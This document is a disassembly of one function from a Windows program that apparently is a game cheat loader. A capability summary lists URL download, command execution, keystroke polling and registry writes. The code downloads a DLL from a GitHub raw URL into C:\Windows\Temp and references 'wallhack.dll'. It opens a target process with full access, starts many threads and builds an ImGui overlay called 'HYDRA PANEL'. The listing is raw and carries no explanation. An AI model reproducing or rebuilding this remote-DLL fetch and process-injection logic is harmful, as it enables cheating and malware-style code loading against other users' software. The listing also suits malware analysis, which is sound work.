Function at 0x14003f3b0
Capabilities:
Create thread
Download url
Execute command
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x728]
sub rsp, 0x828
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_KashiRegedit_fx_refs_heads_main_FXXS.dll]
lea r8, [rbp + 0x60]
movzx eax, word [0x140149248]
lea rdx, [rbp + 0x170]
movaps xmm1, xmmword [0x140149210]
xor r12d, r12d
movaps xmmword [rbp + 0x170], xmm0
xor r9d, r9d
movaps xmm0, xmmword [0x140149220]
xor ecx, ecx
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140149240]
movsd qword [rbp + 0x1b0], xmm0
movups xmm0, xmmword [str.C:WindowsTempFXXS.dll]
mov word [rbp + 0x1b8], ax
movzx eax, byte [0x14014924a]
movups xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x1ba], al
movsd xmm0, qword [0x1401491b0]
movzx eax, byte [0x1401491b8]
movaps xmmword [rbp + 0x180], xmm1
movaps xmm1, xmmword [0x140149230]
movsd qword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x1a0], xmm1
mov byte [rbp + 0x78], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, str.C:WindowsSystem32kernel32.dll
mov edx, 0x104
lea rcx, [rbp + 0x340]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.C:WindowsSystem32charme_compressed.dll
mov edx, 0x104
lea rcx, [rbp + 0x450]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.C:WindowsSystem32wallhack.dll
mov edx, 0x104
lea rcx, [rbp + 0x560]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call fcn.140039550
mov rcx, rax
call fcn.1400395e0
test eax, eax
je 0x14003f4df
mov r8d, eax
mov dword [0x14016b160], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14016b168], rax
call fcn.140039550
mov rcx, rax
call fcn.1400395e0
test eax, eax
je 0x14003f512
mov r8d, eax
mov dword [0x14016b160], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14016b168], rax
test rax, rax
jne 0x14003f52b
mov r8d, Ordinal_27
lea rdx, str.Status:_No_Process_Found_
lea rcx, [0x14016a258]
call fcn.140034e30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x78]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov qword [rsp + 0x28], r12
lea r8, [0x140042770]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
mov qword [rsp + 0x810], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003a7b0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003ef60]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003d990]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003def0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003dd10]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003dbc0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003dd10]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003e7d0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003eba0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003bd20]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov dword [rsp + 0x20], r12d
lea r8, [0x14003b790]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003b990]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003e010]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003dd10]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003be60]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003d790]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003c970]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003d220]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003e4a0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003e6b0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003dd30]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14003ee20]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140039550
mov rcx, rax
call fcn.1400395e0
lea rcx, [0x14016b390]
nop
nop
nop
nop
nop
cmp byte [0x14016b5a8], r12b
je 0x14003f88d
lea rcx, [0x14016b5b0]
call fcn.140034c00
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x840], rbx
lea rax, [0x140042530]
mov qword [rsp + 0x850], rdi
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0x820], r13
mov qword [rbp + 0x2b8], rax
mov dword [rbp + 0x2b0], 0x50
mov dword [rbp + 0x2b4], 0x40
mov qword [rbp + 0x2c0], r12
mov qword [rbp + 0x2c8], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x2d0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2d8], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x2e8], rax
lea rax, str.WipX_Corp
mov qword [rbp + 0x2f0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x2f8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r13d, 1
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xd2]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, [0x140149334]
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x2f0]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x1a4
sar eax, 1
sub eax, 0x96
mov dword [rsp + 0x30], Ordinal_301
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x14016b0e8], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x14016b0e8]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x14016b0e8]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rdi, qword [0x14016b0e8]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14003fa61
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003fa58
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x68], rcx
lea rdx, [rbp + 0x60]
mov rcx, rdi
mov dword [rbp + 0x60], reloc.WS2_32.dll_send
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp + 0x70], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movdqa xmm0, xmmword [0x14014a2b0]
lea rdx, [rbp + 0x328]
mov rcx, qword [0x14016b0e8]
movdqu xmmword [rbp + 0x328], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14016b0e8]
lea rdx, [0x14016b0f0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x14016b0e8]
xor r9d, r9d
mov qword [rbp + 0x1a0], rax
xor r8d, r8d
lea rax, [0x14016b678]
mov qword [rbp + 0x184], r12
mov qword [rsp + 0x58], rax
mov edx, r13d
lea rax, [rbp - 0x80]
mov qword [rbp + 0x198], 2
mov qword [rsp + 0x50], rax
xor ecx, ecx
lea rax, [0x14016b670]
mov qword [rbp + 0x1b0], 2
mov qword [rsp + 0x48], rax
lea rax, [0x14016b668]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x170]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x68]
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x170], r12
mov dword [rbp + 0x180], Ordinal_33
mov dword [rbp + 0x178], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x17c], r13d
mov dword [rbp + 0x194], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x18c], r13
mov qword [rbp + 0x1a8], r13
mov dword [rsp + 0x68], 0xb000
mov dword [rsp + 0x6c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x140042470
mov rcx, qword [0x14016b668]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x848], rsi
lea r8, [0x14014a0e0]
mov qword [rsp + 0x818], r14
xor edx, edx
movaps xmmword [rsp + 0x800], xmm6
mov rax, qword [rcx]
movaps xmmword [rsp + 0x7f0], xmm7
movaps xmmword [rsp + 0x7e0], xmm8
movaps xmmword [rsp + 0x7d0], xmm9
movaps xmmword [rsp + 0x7c0], xmm10
movaps xmmword [rsp + 0x7b0], xmm11
movaps xmmword [rsp + 0x7a0], xmm12
movaps xmmword [rsp + 0x790], xmm13
movaps xmmword [rsp + 0x780], xmm14
movaps xmmword [rsp + 0x770], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x14016b670]
lea r9, [0x14016b658]
mov rdx, qword [rsp + 0x60]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14016b0e8]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14016b0e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x14016b080]
test rbx, rbx
je 0x14003fc55
inc dword [rbx + 0xf4]
mov ecx, 0x5dd8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14003fc71
xor edx, edx
mov rcx, rax
call fcn.140001dc0
jmp 0x14003fc74
mov rax, r12
mov qword [0x14016b080], rax
call fcn.140006290
test rbx, rbx
je 0x14003fc8e
mov qword [0x14016b080], rbx
jmp 0x14003fc95
mov rbx, qword [0x14016b080]
test rbx, rbx
jne 0x14003fcbb
mov r8d, 0xfd8
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14016b080]
mov rsi, qword [rbx + 0x58]
xorps xmm6, xmm6
xor eax, eax
movups xmmword [rbp + 0x180], xmm6
mov qword [rbp + 0x1f0], rax
mov eax, 0xffff
movups xmmword [rbp + 0x1b0], xmm6
mov dword [rbp + 0x188], 3
movups xmmword [rbp + 0x1c0], xmm6
mov dword [rbp + 0x18c], r13d
movups xmmword [rbp + 0x170], xmm6
mov byte [rbp + 0x17c], r13b
mov dword [rbp + 0x1b4], 0x7f7fffff
mov dword [rbp + 0x1c0], 0x3f800000
mov word [rbp + 0x1c4], ax
mov dword [rbp + 0x1bc], 0x10c
cmp byte [rsi + 0x18], r12b
je 0x14003fd49
mov r8d, 0x89b
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm7, xmmword [rbp + 0x170]
movaps xmm8, xmmword [rbp + 0x180]
movq rdi, xmm7
movaps xmm9, xmmword [rbp + 0x1b0]
movaps xmm10, xmmword [rbp + 0x1c0]
movsd xmm11, qword [rbp + 0x1f0]
movaps xmmword [rbp - 0x30], xmm7
movaps xmmword [rbp - 0x20], xmm8
movaps xmmword [rbp - 0x10], xmm6
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x10], xmm9
movaps xmmword [rbp + 0x20], xmm10
movaps xmmword [rbp + 0x30], xmm6
movaps xmmword [rbp + 0x40], xmm6
movsd qword [rbp + 0x50], xmm11
test rdi, rdi
je 0x14003fdbe
mov r8d, 0x89d
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r15, [0x140161110]
mov dword [rbp - 0x28], 0x8574
lea r14, [0x140146df8]
mov qword [rbp - 0x30], r15
lea rdx, [rbp - 0x30]
mov qword [rbp + 8], r14
mov rcx, rsi
mov dword [rbp - 0x1c], 0x41b00000
call fcn.1400246d0
mov rsi, qword [rbx + 0x58]
cmp byte [rsi + 0x18], r12b
je 0x14003fe12
mov r8d, 0x89b
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x30], xmm7
movaps xmmword [rbp - 0x20], xmm8
movaps xmmword [rbp - 0x10], xmm6
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x10], xmm9
movaps xmmword [rbp + 0x20], xmm10
movaps xmmword [rbp + 0x30], xmm6
movaps xmmword [rbp + 0x40], xmm6
movsd qword [rbp + 0x50], xmm11
test rdi, rdi
je 0x14003fe5a
mov r8d, 0x89d
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x30], r15
mov rcx, rsi
mov dword [rbp - 0x28], 0x8574
mov dword [rbp - 0x1c], 0x41a00000
mov qword [rbp + 8], r14
call fcn.1400246d0
mov rsi, qword [rbx + 0x58]
mov qword [0x14016b090], rax
cmp byte [rsi + 0x18], r12b
je 0x14003fea7
mov r8d, 0x89b
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x30], xmm7
movaps xmmword [rbp - 0x20], xmm8
movaps xmmword [rbp - 0x10], xmm6
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x10], xmm9
movaps xmmword [rbp + 0x20], xmm10
movaps xmmword [rbp + 0x30], xmm6
movaps xmmword [rbp + 0x40], xmm6
movsd qword [rbp + 0x50], xmm11
test rdi, rdi
je 0x14003feef
mov r8d, 0x89d
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r15, [0x140169690]
mov dword [rbp - 0x28], 0xb98
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x30], r15
mov rcx, rsi
mov dword [rbp - 0x1c], 0x41b00000
mov qword [rbp + 8], r14
call fcn.1400246d0
mov rbx, qword [rbx + 0x58]
cmp byte [rbx + 0x18], r12b
je 0x14003ff3c
mov r8d, 0x89b
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x30], xmm7
movaps xmmword [rbp - 0x20], xmm8
movaps xmmword [rbp - 0x10], xmm6
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x10], xmm9
movaps xmmword [rbp + 0x20], xmm10
movaps xmmword [rbp + 0x30], xmm6
movaps xmmword [rbp + 0x40], xmm6
movsd qword [rbp + 0x50], xmm11
test rdi, rdi
je 0x14003ff84
mov r8d, 0x89d
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x30], r15
mov rcx, rbx
mov dword [rbp - 0x28], 0xb98
mov dword [rbp - 0x1c], 0x41880000
mov qword [rbp + 8], r14
call fcn.1400246d0
xor ecx, ecx
call fcn.14001fe60
mov rbx, qword [0x14016b080]
mov rsi, qword [0x14016b0e8]
test rbx, rbx
jne 0x14003ffe1
mov r8d, 0xfd8
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14016b080]
cmp qword [rbx + 0x98], r12
je 0x140040004
mov r8d, 0x75
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffff_backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14004016f
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14004016f
mov rax, qword [0x14016b080]
test rax, rax
je 0x14004003a
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140040067
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x14004006a
mov rdi, r12
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x14016b080]
mov qword [rdi], rsi
mov rax, qword [rbp - 0x78]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp - 0x70]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x4870], r12d
jg 0x1400400c7
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
mov rbx, r12
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x300], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x308], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x310], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x318], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x320], rax
mov byte [rdi + 0x2d], r13b
mov rcx, qword [rbp + rbx*8 + 0x300]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140040143
inc rbx
cmp rbx, 5
jl 0x140040122
jmp 0x14004016f
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x14016b080]
mov r14, qword [0x14016b678]
mov rsi, qword [0x14016b670]
test rax, rax
jne 0x1400401aa
mov r8d, 0xfd8
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r12
je 0x1400401d8
mov r8d, 0x221
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffff_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
test rax, rax
je 0x1400401e3
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140040224
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140040227
mov rbx, r12
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rsp + 0x60]
mov qword [rdi + 0x98], rbx
lea rdx, [0x140148390]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], r12
call qword [rax]
test eax, eax
jne 0x1400402ad
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x70]
lea rdx, [0x1401483a0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400402ad
mov rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x68]
lea rdx, [0x1401483b0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400402ad
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rsp + 0x68]
mov qword [rbx + 0x10], rax
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400402bd
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400402cd
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
call fcn.14003b060
movdqa xmm12, xmmword [0x14014a510]
lea r15, [0x14016b5b0]
movss xmm10, dword [0x14014a128]
lea rdi, str._HYDRA_PANEL
movss xmm13, dword [0x14014a1ec]
xor r14b, r14b
movss xmm14, dword [0x14014a280]
xorps xmm8, xmm8
movss xmm15, dword [0x14014a158]
movss xmm11, dword [0x14014a1e0]
movss xmm9, dword [0x14014a1d8]
movss xmm6, dword [0x14014a24c]
lea rcx, [rbp + 0x170]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
xor edx, edx
mov esi, 5
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400403c0
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x178], 0x12
lea rcx, [rbp + 0x170]
movzx r14d, r14b
cmove r14d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140040370
test r14b, r14b
jne 0x1400421ef
mov rbx, qword [0x14016b080]
test rbx, rbx
je 0x1400403da
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x1400403f7
jmp 0x1400403dd
mov rbx, r12
mov r8d, 0x250
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffff_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], r12
jne 0x140040402
call fcn.140036850
call fcn.140037a00
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140040425
cmp byte [reloc.WS2_32.dll_accept], r12b
sete byte [0x14016a2b8]
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14004052b
cmp byte [0x14016b111], r12b
je 0x14004052b
cmp byte [0x14016b10b], r12b
je 0x1400404b9
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
